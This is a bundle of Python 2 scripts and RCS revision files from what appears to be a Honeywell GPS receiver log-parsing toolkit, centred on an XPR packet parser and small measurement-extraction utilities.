self.error_num = 0
self.prn = self.prn + [msg.prn]
rx = msg.sv_x - self.ant_x
ry = msg.sv_y - self.ant_y
rz = msg.sv_z - self.ant_z
expected_range = math.sqrt(rx * rx + ry * ry + rz * rz)
error = msg.range - expected_range
self.error = self.error + [ error ]
self.error_sum = self.error_sum + error
self.error_num = self.error_num + 1
if __name__ == '__main__':
p = extract_measurement_accuracy()
p.parse_command_line_fnames()@
<file_sep>/pytools/Other Pytools/truth_from_tow.py
import sys
from truth_log import Parser
class TruthFromTOW(Parser):
MAX_STACK_SIZE = 3 # two to hold before/after, plus one to look ahead
def __init__(self, fname):
Parser.__init__(self, fname)
self.tds = []
self.td_stack = []
def handle(self, td):
""" Handles a single TD by aggregating it into a list that has the asme
TOW, then calling handle_tds() for the list when the TOW changes """
try:
# print self.tds[-1].tow, td.tow
if self.tds[-1].tow == td.tow:
# newest tow is the same: append it
self.tds.append(td)
else:
# tow is different: handle the last group
self.handle_tds(self.tds)
self.tds = []
except IndexError:
# self.tds is empty: append td
self.tds.append(td)
def handle_tds(self, tds):
""" Handles a list of TDs that all have the same TOW """
self.td_stack.append(tds)
if len(self.td_stack) > self.MAX_STACK_SIZE:
del(self.td_stack[0])
def get_bracketed_tds(self, tow):
""" Returns two lists of TDs, one before and one after the given TOW """
while True:
line = self.f.readline()
if not line:
raise ValueError, 'TOW %f not found in truth file' % (tow, )
self.parse_line(line)
try:
# print 'tows:', tow, self.td_stack[0][0].tow, self.td_stack[1][0].tow
if tow >= self.td_stack[0][0].tow \
and tow <= self.td_stack[1][0].tow:
return self.td_stack[0:2]
except IndexError:
pass # still initializing: len(self.td_stack) < self.MAX_STACK_SIZE
def get_tds(self, tow):
""" Returns the list of TDs nearest to the given TOW """
(tds1, tds2) = self.get_bracketed_tds(tow)
if abs(tds1[0].tow - tow) < abs(tds2[0].tow - tow):
return tds1
else:
return tds2
def print_tds(tds, fields = ('sat_prn', 'sat_pos_x', 'sat_pos_y', 'sat_pos_z')):
for td in tds:
print td.tow,
for name in fields:
print getattr(td, name),
print
if __name__ == '__main__':
p = TruthFromTOW(sys.argv[1])
tow = float(sys.argv[2])
print 'Bracketed TDs for %d:' % (tow, )
(tds1, tds2) = p.get_bracketed_tds(tow)
print_tds(tds1)
print
print_tds(tds2)
print '\nNearest TDs to %d:' % (tow, )
tds = p.get_tds(tow)
print_tds(tds)<file_sep>/pytools/Other Pytools/filter_pkts.py
"""count_msgs.py: Filters messages in a text GPS Host log file, outputting
only messages which have the specified ID. It also serves as an example of how
to use the xpr_log module.
Usage:
filter_msgs id [inp_fname] [out_fname]
Where:
id is the hex packet number, e.g. '1f'
inp_fname is the input file name. It defaults to 'rawlog.txt'
if not supplied
out_fname is the output file name. It defaults to the root of
inp_fname plus a file extention of msg_id
"""
import sys, os.path
from xpr_log import Parser
def usage(msg=''):
print __doc__
sys.exit(msg)
class PacketFilter(Parser):
def __init__(self, id, inp_fname, out_fname):
Parser.__init__(self)
self.set_ids_to_parse([id.upper()])
self.num_written = 0
self.out_f = open(out_fname, 'w')
self.parse(inp_fname)
self.out_f.close()
print 'Wrote %i of %i messages to %s.' % \
( self.num_written, self.num_parsed, out_fname )
def handle(self, msg):
self.num_written += 1
self.out_f.write(msg.line + '\n')
if __name__ == '__main__':
# get command-line arguments
try:
id = sys.argv[1]
except IndexError:
usage('No message ID was supplied')
try:
inp_fname = sys.argv[2]
except IndexError:
inp_fname = 'rawlog.txt'
try:
out_fname = sys.argv[3]
except IndexError:
out_fname = os.path.splitext(inp_fname)[0] + '.' + id
# filter and write output
PacketFilter(id, inp_fname, out_fname)<file_sep>/rcs/reformat.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2005.05.11.19.25.30; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.10.13.15.29.43; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@swapped repr and str per changes in xpr_log@
text
@""" Reformats log files so the satellite measurements of packet 0x30 are
one-per-line. """
import sys
from xpr_log import Parser
class Reformatter(Parser):
def __init__(self, inp_fname, out_fname):
Parser.__init__(self, False)
self.num_reformatted = 0
print 'Reformatting', inp_fname, 'to', out_fname
self.out_f = open(out_fname, 'w')
self.parse(inp_fname)
print 'Reformatted %i of %i messages.' % \
(self.num_reformatted, self.num_parsed)
def handle30(self, msg):
self.num_reformatted += 1
print >> self.out_f, msg.line[:19]
for m in msg.measurements:
print >> self.out_f, ' ', repr(m)
def handle(self, msg):
print >> self.out_f, msg.line
def handle_parse_error(self, error, line_num, line):
print >> self.out_f, line
if __name__ == '__main__':
# get command-line arguments
try:
inp_fname = sys.argv[1]
except IndexError:
inp_fname = 'rawlog.txt'
try:
out_fname = sys.argv[2]
except IndexError:
out_fname = inp_fname + '2'
Reformatter(inp_fname, out_fname)@
1.1
log
@Initial revision@
text
@d22 1
a22 1
print >> self.out_f, ' ', str(m)
d25 1
a25 1
self.out_f.write(msg.line)
d27 3
@
<file_sep>/pytools/Other Pytools/prn_changes.py
""" Prints a message each time the version, mode, or set of PRNs changes """
__version__ = '$Revision: 1.2 $'
from mode_changes import ModeChanges as Parser
class PRN_Changes(Parser):
def __init__(self):
Parser.__init__(self)
self.last_num_prns = 0
self.dwell_commands = [None] * 24
def handle28(self, msg):
## for svid in self.dwell_commands.keys():
## if self.dwell_commands[svid] < msg.second - 2:
## del(self.dwell_commands[svid])
if msg.r_svid == 0:
self.dwell_commands[msg.r_listid - 1] = None
else:
self.dwell_commands[msg.r_listid - 1] = (msg.r_svid, msg.second)
def handle30(self, msg):
commanded_prns = {}
tracking_prns = {}
measuring_prns = {}
num_meas = 0
for meas in msg.measurements:
commanded_prns[meas.prn] = 1
if meas.state >= 3:
if meas.carrier_to_noise_ratio > 30:
tracking_prns[meas.prn] = 1
if meas.validity_mask & 0x08:
num_meas += 1
measuring_prns[meas.prn] = 1
if len(commanded_prns) != self.last_num_prns:
print msg.timestamp()
print ' Dwell commands:', # [cmd for cmd in self.dwell_commands if cmd != None]
for ii in xrange(len(self.dwell_commands)):
cmd = self.dwell_commands[ii]
if cmd != None:
print '(%i -> %i @ %is)' % (ii, cmd[0], cmd[1]),
print
keys = commanded_prns.keys()
keys.sort()
print ' Commanded PRNs:', keys
keys = tracking_prns.keys()
keys.sort()
print ' Tracking PRNs: ', keys
keys = measuring_prns.keys()
keys.sort()
print ' Measuring PRNs:', keys
print
self.last_num_prns = len(commanded_prns)
if len(commanded_prns) == 1:
print '%s : RXC clock acquisition of PRN %i' % \
(msg.timestamp(), prns.keys()[0])
if __name__ == '__main__':
PRN_Changes().main('PRN Changes')<file_sep>/rcs/meas_3b.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2008.03.07.16.04.22; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2008.03.06.23.56.44; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2008.03.06.22.28.48; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@fixed bug in incrementing group number@
text
@""" meas_3b.py: Extracts measurements from the specfied log file into a text
file containing lines of the form:
group number, time mark sequence number, sv x, sv y, sv z, pseudorange, pseudorange sigma
"""
__version__ = '$Revision: 1.2 $'
from xpr_log import Parser
class Meas3B(Parser):
def parse(self, fname):
meas_fname = 'meas_3b_out.txt'
print 'Writing 0x3b measurements from', fname, 'to', meas_fname
self.meas_f = file(meas_fname, 'wt')
self.tmsn = -1
self.group_number = 0
Parser.parse(self, fname)
def handle3B(self, msg):
if msg.time_mark_sequence_number != self.tmsn:
self.tmsn = msg.time_mark_sequence_number
self.group_number += 1
for meas in msg.measurements:
if meas.validity_and_in_use_mask & 0x80:
print >> self.meas_f, self.group_number, \
msg.time_mark_sequence_number, meas.prn, \
meas.sv_x, meas.sv_y, meas.sv_z, meas.pseudorange, \
meas.pseudorange_sigma
if __name__ == '__main__':
Meas3B().main('meas_3b')@
1.2
log
@added group number column@
text
@d18 1
a18 1
self.group_number = 1
d22 3
a30 3
if msg.time_mark_sequence_number != self.tmsn:
self.tmsn = msg.time_mark_sequence_number
self.group_number += 1
@
1.1
log
@Initial revision@
text
@d4 1
a4 1
time mark sequence number, sv x, sv y, sv z, pseudorange, pseudorange sigma
d17 2
d23 8
a30 3
print >> self.meas_f, msg.time_mark_sequence_number, meas.prn, \
meas.sv_x, meas.sv_y, meas.sv_z, meas.pseudorange, \
meas.pseudorange_sigma
@
<file_sep>/rcs/print_segment.py
head 1.5;
branch ;
access ;
symbols 2PXRFS1:1.5 PVTSE_tests:1.5 HT_0113:1.5 TRR1:1.5;
locks ; strict;
comment @@;
1.5
date 2007.02.08.21.09.04; author Grant.Griffin; state In_Progress;
branches ;
next 1.4;
1.4
date 2005.08.11.14.21.34; author AMoroz; state Exp;
branches ;
next 1.3;
1.3
date 2005.08.10.15.00.03; author AMoroz; state Exp;
branches ;
next 1.2;
1.2
date 2005.08.08.19.11.48; author AMoroz; state Exp;
branches ;
next 1.1;
1.1
date 2004.11.11.19.26.54; author AMoroz; state In_Progress;
branches ;
next ;
ext
@project F:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.5
log
@fixed bugs@
text
@""" Shows system mode change times """
from xpr_log import Parser
import sys
class Error(Exception):
def __init__(self, value=''):
Exception.__init__(self, value)
self.value = value
class print_segment(Parser):
"""*********************************************************************"""
def __init__(self):
Parser.__init__(self)
self.last_sw_version = None
self.start = int(sys.argv[2])
self.stop = int(sys.argv[3])
"""*********************************************************************"""
def parse_msg_lines(self, lines):
m = self.msg_re.search(lines[0])
if m:
try :
self.second = int(m.group(2))
self.num_parsed += 1
if self.second >= self.stop:
self.abort_parse = True;
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error in line number %i:' % (msg, self.line_num)
print lines[0]
sys.exit(1)
if self.second >= self.start:
for line in lines:
print line,
if __name__ == '__main__':
p = print_segment()
p.parse_command_line_fnames()@
1.4
log
@Changed the print statement so that it prints multi-line packet 0x30@
text
@d6 6
d37 1
a37 1
print line
@
1.3
log
@@
text
@d35 2
a36 1
print lines[0],
@
1.2
log
@Added EOL returns.@
text
@d8 1
a14 5
def handle(self, msg):
if (self.second >= self.start) and (self.second <= self.stop):
print msg.line
elif self.second > self.stop:
self.abort_parse = True
d16 21
a36 7
def handle32(self, msg):
if (self.second >= self.start) and (self.second <= self.stop):
print msg.line
elif self.second > self.stop:
self.abort_parse = True
if msg.at_pps:
self.second += 1
@
1.1
log
@Initial revision@
text
@d16 1
a16 1
print msg.line,
d22 1
a22 1
print msg.line,
@
<file_sep>/RemoveAllCreatedTextFiles.py
import fnmatch, os # All ways to walk all directories looking for new text files
""" Caution - This file deletes all the text files in the directories above RemoteGNSSLogs """
""" This is to speed up testing. """
print("\nRemoving all files with .txt extensions....\n")
# Walks through all the directories above RemoteGNSSLogs looking for txt files
for dirpath, dirs, files in os.walk( 'c:\\olt_gnss_001\\RemoteGNSSLogs' ):
for filename in fnmatch.filter( files, '*.txt' ):
currentPath = os.path.join( dirpath, filename )
print("Now removing %s." % currentPath )
os.remove( currentPath )
print("...")
print("Removed all files with .txt extensions. Program complete.\n")
raw_input()
<file_sep>/Config.py
""" Custom Settings for Central Authority and Modules """
import ConfigParser
class Config( object ):
def __init__( self ):
self.loader = None
def readConfig( self, config_path ):
self.loader = ConfigParser.ConfigParser()
self.loader.read( config_path )
def getVal( self, group, key ): # Returns a string
return self.loader.get( group, key )<file_sep>/pytools/Other Pytools/tow_lon_lat.py
""" Extracts unflagged tow, longitude, and latitude values to a text file. The
output file is "*.tow_lon_lat", where "*" is the root name of the input file.
"""
__version__ = '$Revision: 1.2 $'
import math, os.path
from xpr_log import Parser
GPS_PI = 3.1415926535898 # per ICD-GPS-200C
RADS_TO_DEGS = 180.0 / GPS_PI
MPS_PER_KT = 0.514444444
M_PER_FT = 0.3048
class LatLon(Parser):
def __init__(self):
Parser.__init__(self)
self.get_parse_ids_from_handlers()
self.parse_command_line_fnames()
print 'Wrote', self.out_fname
def parse(self, fname):
self.out_fname = os.path.splitext(fname)[0] + '.tow_lon_lat'
self.f = open(self.out_fname, 'wt')
Parser.parse(self, fname)
def handle32(self, msg):
if msg.validity & 0x01:
print >> self.f, msg.gps_tow, msg.longitude * RADS_TO_DEGS, \
msg.latitude * RADS_TO_DEGS, msg.geodetic_altitude / M_PER_FT, \
msg.ground_speed / MPS_PER_KT
if __name__ == '__main__':
LatLon()<file_sep>/pytools/xpr_log.py
""" xpr_log.py: This module provides a framework <tee-hee> to process XPR log
files in the text format produced by gpsbin2txt.
Copyright 2004-2012, Honeywell International Inc.
To use this module:
1) Add support for any messages you need to the Msg class below.
2) Derive your own parser class from Parser.
3) Override its functions as needed.
4) Add 'handleXX' functions of your own to handle whatever messages you need.
(Note: XX must be uppercase, e.g. '2D', in order to match gpsbin2txt format.)
5) Instantiate the class and call one of the 'parse' functions, either directly
of via your __init__ function.
"""
__version__ = '$Revision: 1.58 $'
import sys, re, glob, os.path
def safe_float(x):
try:
return float(x)
except ValueError:
return None
def plural(ii):
if ii == 1:
return ''
else:
return 's'
class Error(Exception):
def __init__(self, value=''):
Exception.__init__(self, value)
self.value = value
class DataList(list):
"""Represents a list of packet data"""
def __init__(self, line_num, text):
self.line_num = line_num
self.text = text
self += text.split()
def __repr__(self):
return ' '.join(self)
def __str__(self):
return text
class ChannelStatus(DataList):
"""Represents a single channel status from packet 0x1b. (Note that this
uses the semantics of packet 0x30 rather than 0x1b.)"""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.prn = int(self[0])
self.health = int(self[1])
self.elevation = float(self[2])
self.carrier_to_noise_ratio = int(self[3])
self.tracking = int(self[4])
class VisibilityRecord(DataList):
"""Represents a single visibility record from packet 0x2a."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.age = int(self[0])
self.status = int(self[1])
self.nonp = int(self[2])
self.opt = int(self[3])
self.eph = int(self[4])
self.prn = int(self[5])
self.elev = int(self[6])
self.pen_cnt = int(self[7])
class Measurement(DataList):
"""Represents a single satellite measurement from packet 0x30."""
state_codes = { 'Idle':0, 'ACQ.':1, 'SYN.':2, 'TRK.':3, 'DATA':4 }
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.validity_mask = int(self[1], 16) # hex
self.prn = int(self[2])
self.state = self[3]
self.health = self[4]
self.in_use = int(self[5])
self.azimuth = float(self[6])
self.elevation = float(self[7])
self.carrier_to_noise_ratio = int(self[8])
self.pseudorange = float(self[9])
self.pseudorange_sigma = float(self[10])
self.range_rate = float(self[11])
self.delta_carrier_phase = float(self[12])
self.lock_count = int(self[13])
def __str__(self):
return '%2i %2X %2i %4s %4s %i %5.1f %4.1f %2i %0.1f %0.1f %0.1f %0.1f %4i' % \
(self.hardware_channel, self.validity_mask, self.prn,
self.state, self.health, self.in_use, self.azimuth,
self.elevation, self.carrier_to_noise_ratio,
self.pseudorange, self.pseudorange_sigma, self.range_rate,
self.delta_carrier_phase, self.lock_count)
def is_tracking(self):
return self.state_codes[self.state] >= 2
class GlsMeasurement(DataList):
"""Represents a single GLS measurement from packet 0x38."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.prn = int(self[0])
self.iod_next_available = int(self[1])
self.iod_currently_used = int(self[2])
self.correction_status = int(self[3], 16)
class ChannelStatus3A(DataList):
"""Represents a single set of channel status data from packet 0x3A."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.state = int(self[2])
self.lock_count = int(self[3])
self.health = int(self[4], 16)
self.carrier_to_noise_ratio = safe_float(self[5])
self.azimuth = safe_float(self[6])
self.elevation = safe_float(self[7])
def __str__(self):
return '%i %i %i %i %i %f %f %f' % \
(self.hardware_channel, self.prn, self.state, self.lock_count,
self.health, self.carrier_to_noise_ratio,
self.azimuth, self.elevation)
class Measurement3B(DataList):
"""Represents a single satellite measurement from packet 0x3B."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.validity_and_in_use_mask = int(self[2], 16)
self.sv_x = safe_float(self[3])
self.sv_y = safe_float(self[4])
self.sv_z = safe_float(self[5])
self.pseudorange = safe_float(self[6])
self.pseudorange_sigma = safe_float(self[7])
self.range_rate = safe_float(self[8])
self.delta_carrier_phase = safe_float(self[9])
self.pseudorange_sigma_ob = safe_float(self[10])
def __str__(self):
return '%i %i %i %f %f %f %f %f %f %f %f' % \
(self.hardware_channel, self.prn, self.validity_and_in_use_mask,
self.sv_x, self.sv_y, self.sv_z, self.pseudorange,
self.pseudorange_sigma, self.range_rate,
self.delta_carrier_phase, self.pseudorange_sigma_ob)
class Measurement30s3F(DataList):
"""Represents a single satellite measurement from packet 0x3B."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.validity_and_in_use_mask = int(self[2], 16)
self.PR_30 = safe_float(self[3])
self.sigma_30 = safe_float(self[4])
self.sigma_ob = safe_float(self[5])
self.sigma_pr_gnd = safe_float(self[6])
self.sigma_pr_gnd_100 = safe_float(self[7])
self.sigma_pr_gnd_30 = safe_float(self[8])
self.s_appr_lat = safe_float(self[9])
self.s_appr_vert = safe_float(self[10])
self.correction_status = int(self[11], 16)
self.decorr = safe_float(self[12])
self.decorr_D = safe_float(self[13])
self.range_residual = safe_float(self[14])
self.CCD_out = safe_float(self[15])
self.sigma_D = safe_float(self[16])
def __str__(self):
return '%i %i %i %f %f %f %f %f %f %f %f %i %f %f %f %f %f %f %f' % \
(self.hardware_channel, self.prn, self.validity_and_in_use_mask,
self.PR_30, self.sigma_30, self.sigma_ob, self.sigma_pr_gnd,
self.sigma_pr_gnd_100, self.sigma_pr_gnd_30,
self.s_appr_lat, self.s_appr_vert, self.correction_status,
self.decorr, self.decorr_D, self.range_residual, self.CCD_out,
self.sigma_D, self.sigma_D1, self.sigma_D2)
class Msg(list):
"""Represents a single message. Each field is stored as a list element
in the object. An initXX function is provided to convert each field into
a class member having the corresponding name given in the ICD."""
bracket_re = re.compile('\[(.*?)\]')
byte_counts = { '1D':7, '1F':13, '27':41, '28':37, '29':9, '2C':91, '2D':46,
'2E':85, '30':None, '31':54, '32':104, '50':20, '51':9,
'52':17, '53':17, '54':22, '55':10 }
def __init__(self, lines, line_num, serial_number, id_, text, second):
self.line = lines[0].rstrip()
self.lines = lines
self.line_num = line_num
self.serial_number = serial_number
self.id = id_
self.text = text
self.second = second
self += text.split()
initializer_name = 'init' + id_
if hasattr(self, initializer_name):
getattr(self, initializer_name)() # call initxx
def __repr__(self):
return ''.join(self.lines)
def __str__(self):
s = self.id + ' : '
for field in self:
s += str(field) + ' '
s = s[:-1]
return s
def get_data_list(self):
if len(self.lines) == 1:
return self.bracket_re.findall(self.text)
else:
return self.lines[1:]
def get_byte_count(self):
if self.id == '30':
return 6 + 37 * len(self.measurements)
else:
return self.byte_counts.get(self.id, 0)
def get_sequence_number(self):
# gpsbin2txt's sequence number is the first field in the line
return int(self.line.split()[0])
def timestamp(self):
pos = self.line.find('MSG')
if (pos > 0):
return self.line[:pos - 1]
else:
return self.line[:13]
#---------------------------- init functions ------------------------------
def init15(self): # latitude, longitude, and estimated horiz. error
self.valid_flag = int(self[0])
self.latitude = safe_float(self[1])
self.longitude = safe_float(self[2])
self.horizontal_position_error = safe_float(self[3])
def init16(self): # altitude and vertical position error
self.valid_flag = int(self[0])
self.altitude = safe_float(self[1])
self.vertical_position_error = safe_float(self[2])
def init17(self): # ground speed and track angle
self.valid_flag = int(self[0])
self.ground_speed = safe_float(self[1])
self.track_angle = safe_float(self[2])
def init18(self):
self.valid_flag = int(self[0])
self.east_velocity = safe_float(self[1])
self.north_velocity = safe_float(self[2])
self.up_velocity = safe_float(self[3])
def init19(self): # UTC date and time
self.valid_flag = int(self[0])
self.year = int(self[1])
self.month = int(self[2])
self.day = int(self[3])
self.hour = int(self[4])
self.minute = int(self[5])
self.second = int(self[6])
def init1A(self): # estimate local clock error
self.valid_flag = int(self[0])
self.estimated_clock_frequency_bias = safe_float(self[1])
def init1B(self):
self.statuses = [ChannelStatus(self.line_num, status) for status in self.get_data_list()]
def init1C(self): # receiver and system status
self.receiver_state = int(self[0])
self.integrity_state = int(self[1])
self.masked_integrity_warning = int(self[2])
self.bad_coverage = int(self[3])
self.altitude_aiding_in_use = int(self[4])
self.phase_of_flight = int(self[5])
self.error_status = int(self[6])
def init1D(self): # GNSS software revision
self.sw_version = self[1] #TODO: does not match text_converter.cpp
def init1F(self): # satellite azimuth
self.azimuth_angle_channel_1 = int(self[0])
self.azimuth_angle_channel_2 = int(self[1])
self.azimuth_angle_channel_3 = int(self[2])
self.azimuth_angle_channel_4 = int(self[3])
self.azimuth_angle_channel_5 = int(self[4])
self.azimuth_angle_channel_6 = int(self[5])
self.azimuth_angle_channel_7 = int(self[6])
self.azimuth_angle_channel_8 = int(self[7])
def init20(self):
self.raim_status = int(self[0])
def init21(self): #
self.tow = safe_float(self[0])
self.prn = int(self[2])
self.rk_pr = safe_float(self[4])
self.rk_pr_rate = safe_float(self[6])
self.rk_valid = int(self[8])
def init23(self): #
self.prn = int(self[1])
self.pr_est = safe_float(self[2])
self.k_z_chan0 = safe_float(self[3])
self.k_z_chan1 = safe_float(self[4])
def init24(self): #
self.TOW = safe_float(self[0])
self.SVID = int(self[1])
self.Week = int(self[2])
self.pos0 = safe_float(self[3])
self.pos1 = safe_float(self[4])
self.pos2 = safe_float(self[5])
self.vel0 = safe_float(self[6])
self.vel1 = safe_float(self[7])
self.vel2 = safe_float(self[8])
self.clock = safe_float(self[9])
self.freq = safe_float(self[10])
self.variance = safe_float(self[11])
self.flag = int(self[12])
def init25(self): #
self.mk_tow = safe_float(self[0])
self.mk_wn = int(self[1])
self.mk_lon_deg = safe_float(self[2])
self.mk_lat_deg = safe_float(self[3])
self.mk_alt = safe_float(self[4])
self.mk_vel_x = safe_float(self[5])
self.mk_vel_y = safe_float(self[6])
self.mk_vel_z = safe_float(self[7])
self.mk_cbias = safe_float(self[8])
self.mk_freq = safe_float(self[9])
def init26(self): #
self.SVID = int(self[0])
self.week = int(self[1])
self.TOAC = safe_float(self[2])
self.TOAE = safe_float(self[3])
self.Af0 = safe_float(self[4])
self.Af1 = safe_float(self[5])
self.Af2 = safe_float(self[6])
self.W = safe_float(self[7])
self.M0 = safe_float(self[8])
self.eccentricity = safe_float(self[9])
self.sqrta = safe_float(self[10])
self.omaga0 = safe_float(self[11])
self.I0 = safe_float(self[12])
self.odot = safe_float(self[13])
self.idot = safe_float(self[14])
self.dn = safe_float(self[15])
self.cus = safe_float(self[16])
self.cuc = safe_float(self[17])
self.crs = safe_float(self[18])
self.crc = safe_float(self[19])
self.cis = safe_float(self[20])
self.cic = safe_float(self[21])
self.tgd = safe_float(self[22])
self.dgrd = safe_float(self[23])
def init27(self): #
self.r_svid = int(self[0])
self.b_mcnt = int(self[1])
self.b_freq = int(self[2])
self.b_data = int(self[3])
self.b_amp = int(self[4])
self.b_lock = int(self[5])
self.dwellcnt = int(self[6])
self.r_tow = safe_float(self[7])
self.r_pr = safe_float(self[8])
self.r_pr_rate = safe_float(self[9])
def init28(self): #
self.r_listid = int(self[0])
assert(self.r_listid > 0 and self.r_listid <= 24) # one-based
self.r_svid = int(self[1])
self.r_mcntcmd = int(self[2])
self.r_dpp = float(self[3])
self.r_cdlim = float(self[4])
self.r_frqlim = float(self[5])
if (self.r_frqlim < 1.0e-30):
self.r_frqlim = 0.0;
self.range = float(self[6])
self.range_rate = float(self[7])
self.lim_dwell = int(self[8])
# derive values from the above
self.prn = self.r_svid
self.ch_no = self.r_listid - 1
self.code_center = int(self.r_mcntcmd * 0.1)
self.code_limit = self.r_cdlim * 0.1
self.code_min = self.code_center - self.code_limit
self.code_max = self.code_center + self.code_limit
self.freq_center = self.r_dpp
self.freq_limit = self.r_frqlim
self.freq_min = self.r_dpp - self.r_frqlim
self.freq_max = self.r_dpp + self.r_frqlim
def init29(self): # status or fault annunciation
self.satellite_id = int(self[0])
self.fault_type = int(self[1])
self.fault_text = ' '.join(self[2:])
self.fault_text = self.fault_text[1:-1] # strip leading/trailing quotes
self[2] = self.fault_text
del self[3:]
def init2A(self):
self.l_gdop = float(self[0])
self.visibility_records = [VisibilityRecord(self.line_num, record) for record in self.get_data_list()]
def init2B(self): # set almanac response
self.svid = int(self[0])
self.d_config = int(self[1])
self.d_a_wn = int(self[2])
self.d_sig_health = int(self[3])
self.d_data_health = int(self[4])
self.a_toa = safe_float(self[5])
self.a_af0 = safe_float(self[6])
self.a_af1 = safe_float(self[7])
self.a_w = safe_float(self[8])
self.a_m0 = safe_float(self[9])
self.a_e = safe_float(self[10])
self.a_sqrta = safe_float(self[11])
self.a_omg0 = safe_float(self[12])
self.a_i0_rel = safe_float(self[13])
self.a_odot = safe_float(self[14])
def init2C(self): # cooked measurement
self.prn = int(self[0])
self.tick = int(self[1])
self.range = safe_float(self[2])
self.sigma = safe_float(self[3])
self.rate = safe_float(self[4])
self.sv_x = safe_float(self[5])
self.sv_y = safe_float(self[6])
self.sv_z = safe_float(self[7])
self.sv_dx = safe_float(self[8])
self.sv_dy = safe_float(self[9])
self.sv_dz = safe_float(self[10])
self.tow = float(self[11])
self.precision = int(self[12])
self.correction = int(self[13])
self.raw_pr = safe_float(self[14])
self.smooth_pr = safe_float(self[15])
def init2D(self): # raw measurement
self.prn = int(self[0])
self.tick = int(self[1])
self.acc_dop_cyc = float(self[2])
self.acc_dop_time_ms = int(self[3])
self.bb_code_phase_s = float(self[4])
self.bb_symbol_phase = int(self[5])
self.subframe_phase = int(self[6])
self.subframe_phase_valid = int(self[7])
self.cn0_dbhz = int(self[8])
self.subframe_epoch_ms = int(self[9])
def init2E(self): # GNSS software part number
self.application_software_part_number = self[0]
self.boot_software_part_number = self[1]
self.hardware_part_number = self[2]
#self.spare = self[3]
def init2F(self): # system metric
self.metric_id = int(self[0])
self.metric = safe_float(self[1])
def init30(self): # measurements
# print '----\n', self.lines
self.time_mark_sequence_number = int(self[0])
self.number_of_measurements = int(self[1])
self.measurements = [Measurement(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements) == self.number_of_measurements)
def init31(self): # enhanced receiver status
self.time_mark_sequence_number = int(self[0])
self.mode = self[1]
self.fault = int(self[2])
self.number_of_visible_satellites = int(self[3])
self.altitude_measurements_being_used = int(self[4])
self.estimated_clock_frequency_bias = safe_float(self[5])
(self.HDOP, self.HIL, self.HPE, self.VDOP, self.VIL, self.VPE) = \
[safe_float(f) for f in self[6:12]]
self.RAIM_detected_ranging_failure = int(self[12])
self.RF_hardware_failure = int(self[13])
self.SBAS_ID = int(self[14])
self.jamming_status = int(self[15])
self.GDOP = safe_float(self[16])
try:
self.HEL = safe_float(self[17])
except IndexError:
self.HEL = 0.0
try:
self.antenna_current = int(self[18])
except IndexError:
self.antenna_current = 0
try:
self.input_bus_activity = int(self[19])
except IndexError:
self.input_bus_activity = 0
def init32(self): # time mark
self.validity = int(self[0], 16)
self.time_mark_sequence_number = int(self[1])
self.gps_week = int(self[2])
self.gps_tow = safe_float(self[3])
self.latitude = safe_float(self[4])
self.longitude = safe_float(self[5])
self.ellipsoidal_altitude = safe_float(self[6])
self.geodetic_altitude = safe_float(self[7])
self.ground_track = safe_float(self[8])
self.ground_speed = safe_float(self[9])
self.vertical_speed = safe_float(self[10])
self.north_velocity_component = safe_float(self[11])
self.east_velocity_component = safe_float(self[12])
self.down_velocity_component = safe_float(self[13])
self.north_acceleration_component = safe_float(self[14])
self.east_acceleration_component = safe_float(self[15])
self.down_acceleration_component = safe_float(self[16])
self.heading = safe_float(self[17])
self.pitch_angle = safe_float(self[18])
self.bank_angle = safe_float(self[19])
self.year = int(self[20])
self.month = int(self[21])
self.day = int(self[22])
self.hour = int(self[23])
self.minute = int(self[24])
self.second = safe_float(self[25])
self.at_pps = int(self[26])
def init33(self): # horizontal integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init34(self): # SBAS alamanc response
self.svid = int(self[0])
self.d_a_wn = int(self[1])
self.a_toa = safe_float(self[2])
self.a_x = safe_float(self[3])
self.a_y = safe_float(self[4])
self.a_z = safe_float(self[5])
self.a_dx = safe_float(self[6])
self.a_dy = safe_float(self[7])
self.a_dz = safe_float(self[8])
self.d_health_and_status = int(self[9])
self.d_service_provider = int(self[10])
def init35(self): # deviations
self.validity = int(self[0], 16)
self.time_mark_sequence_number = int(self[1])
self.fault = int(self[2])
self.gls_airport_id = self[3]
self.gbas_station_id = self[4]
self.ground_station_identity = self[5]
self.runway_heading = safe_float(self[6])
self.lateral_protection_level = safe_float(self[7])
self.vertical_protection_level = safe_float(self[8])
self.lateral_alarm_limit = safe_float(self[9])
self.vertical_alarm_limit = safe_float(self[10])
self.horizontal_deviation_rectilinear = safe_float(self[11])
self.vertical_deviation_rectilinear = safe_float(self[12])
